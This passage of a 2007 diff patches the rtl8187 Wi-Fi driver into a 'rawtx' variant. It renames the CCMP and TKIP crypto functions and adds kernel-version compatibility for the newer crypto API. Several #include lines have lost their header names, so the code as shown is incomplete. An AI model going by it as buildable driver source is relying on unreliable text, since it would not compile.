*rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? 